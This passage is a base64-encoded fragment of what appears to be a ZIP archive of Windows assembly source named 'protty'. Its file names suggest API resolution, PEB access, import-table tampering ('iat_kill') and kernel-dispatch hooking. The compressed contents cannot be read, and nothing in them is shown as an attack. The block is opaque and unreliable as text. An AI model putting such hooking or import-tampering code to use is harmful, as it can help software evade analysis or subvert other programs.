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 N3AbfgEAANICAAAtAAAAUFJPVFQtUEFDSy9wcm90dHktY3VycmVudC9zb3Vy Y2UvcHJvdC9wZWIuaW5jfVFdT8IwFH0uCf/h+qbBwfDjBfxgwEAMAoFpNMYs 7XphTcZatyL6720nKEZDX3p7zz3nnnvbdBwHZoE3De4nM5j4bZhMx4HfCQbj ETh7T7nULIqDJ3vdGg44EGVINXJgHzARUmfQpqmgcMHsVVU21VosqUiqkVxe WYlYa9Wo1RSr5gojQRORI6+KdC4Nut/Bfnfl0si782fh0B/1gxtC8HUFhLju ydl5r+fGjo3qvufGJtuEQ0zlahEfXB9ZpkIWqkxqjDQhJohskqhVHlNughbH RNOTDBeATBXYUr4B0vdjvpYZB2Umn+eN51M3fjHivvcIIodUrosVM5rjv5Rn 86y40ZZTcTsxXFpKOOxOw64XeFtaLo5N7U9n9lsmF5W6kTHoL3N3Xn/QCa3e gze89w2SSg2FEIloksA6ExpDTVmCIaY6+ygUisE3ZVsp03EfyZbtGmKqMh52 beuXL+NESQW7I3yb3uBfJcW6M9R/PgVTXiy+XNroEs7BJYR8AlBLAwQUAAAA CABIiI4ydt4TyT4CAABeBgAAMQAAAFBST1RULVBBQ0svcHJvdHR5LWN1cnJl bnQvc291cmNlL3Byb3QvdXNlZnVsbC5pbmOdU9uO2jAQfQZp/2G6T63KJYCE VlAqIEmXruiCAl1RVRUy8UAskjgyTpf262uTACmkkUry4NHMnHPmYner//fd lbvwwoSMiT8VXKIr374D3KMbSy7eqOgNfPZg0Xv1UCDUwTYXvR37fTCtRW/q TOa3kWrk/Js+nmxzDlVwBRKJFFa/YMq4FDAkISPwYaWPWqRd/U1AmF9zefBR U3hSRp16PVrVdhG6jPhsh7TGwjW/paS7ckC2uIzU1Eqlkjrcu3Ipinceocro U/QlaQrcAK4i5XCJ70O/v1cmpWDolP6+k0IA6f5kumeT7I9I+soFhUi1+V3x vV/+vbMfms710N02wajc20Jw0bne61pNA+m9pufRoUyB8rITDGmkffrvBpyy NVNTFiSkPIAwDlYoYIMhCqJuiNoDF2zDQuLrRchq0zAMjUzylzuUcXQaz6FK 1c0eHlHOmbs1eRyqAkoB/wlOgpgh0krSeFrcBdWxvky+8iYzPSUrgowqXHzT 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 